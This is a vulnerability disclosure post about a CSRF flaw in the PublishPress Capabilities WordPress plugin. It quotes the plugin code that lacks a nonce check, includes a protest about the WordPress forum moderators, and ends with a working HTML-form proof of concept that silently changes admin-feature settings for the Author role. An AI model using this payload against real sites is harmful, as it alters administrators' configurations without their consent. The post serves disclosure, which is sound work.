Cross-Site Request Forgery (CRSF)/Settings Change Vulnerability in PublishPress Capabilities
Based on the level of insecurity we found while looking in to the details of a serious vulnerability being fixed in version 2.3.1 of the WordPress plugin PublishPress Capabilities, we started checking for other security issues and we quickly found another vulnerability. The plugin doesn’t check for a valid nonce when making changes on the plugin’s Admin Features page.
What makes that vulnerability more concerning is the vulnerable feature was only introduced inversion 2.3 of the plugin:
Feature : New “Admin Features” screen #200
Cross-Site Request Forgery (CSRF)/Settings Change
When accessing the plugin’s Admin Features admin page, the function ManageAdminFeatures() is run:
373 | add_submenu_page('pp-capabilities', __('Admin Features', 'capsman-enhanced'), __('Admin Features', 'capsman-enhanced'), $cap_name, 'pp-capabilities-admin-features', [$this, 'ManageAdminFeatures']); |
That function, which is located in the file /includes/manager.php, doesn’t do a capabilities check before updating the settings handled on that page:
510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 | public function ManageAdminFeatures() { if ((!is_multisite() || !is_super_admin()) && !current_user_can('administrator') && !current_user_can('manage_capabilities')) { // TODO: Implement exceptions. wp_die('<strong>' .__('You do not have permission to manage admin features.', 'capabilities-pro') . '</strong>'); } $this->generateNames(); $roles = array_keys($this->roles); if (!isset($this->current)) { if (empty($_POST) && !empty($_REQUEST['role'])) { $this->set_current_role($_REQUEST['role']); } } if (!isset($this->current) || !get_role($this->current)) { $this->current = get_option('default_role'); } if (!in_array($this->current, $roles)) { $this->current = array_shift($roles); } if ('POST' == $_SERVER['REQUEST_METHOD'] && isset($_POST['ppc-admin-features-role'])) { $this->set_current_role($_POST['ppc-admin-features-role']); $disabled_admin_items = !empty(get_option('capsman_disabled_admin_features')) ? (array)get_option('capsman_disabled_admin_features') : []; $disabled_admin_items[$_POST['ppc-admin-features-role']] = isset($_POST['capsman_disabled_admin_features']) ? $_POST['capsman_disabled_admin_features'] : ''; update_option('capsman_disabled_admin_features', $disabled_admin_items, false); |
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will toggle all the options for the Author role, when logged in as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin.php?page=pp-capabilities-admin-features&role=author" method="POST"> <input type="hidden" name="role" value="author" /> <input type="hidden" name="ppc-admin-features-role" value="author" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||menu-toggle" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||wp-logo" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||about" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||wp-logo-external" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||wporg" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||documentation" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||support-forums" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||feedback" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||site-name" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||view-site" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||updates" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||comments" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||new-content" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||new-post" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||new-media" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||new-page" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||new-user" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||top-secondary" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||my-account" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||user-actions" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||user-info" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||edit-profile" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_adminbar||logout" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_dashboard_widget||dashboard_welcome_panel||normal" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_dashboard_widget||dashboard_site_health||normal" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_dashboard_widget||dashboard_right_now||normal" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_dashboard_widget||dashboard_activity||normal" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_dashboard_widget||dashboard_quick_press||side" /> <input type="hidden" name="capsman_disabled_admin_features[]" value="ppc_dashboard_widget||dashboard_primary||side" /> <input type="submit" value="Submit" /> </form> </body>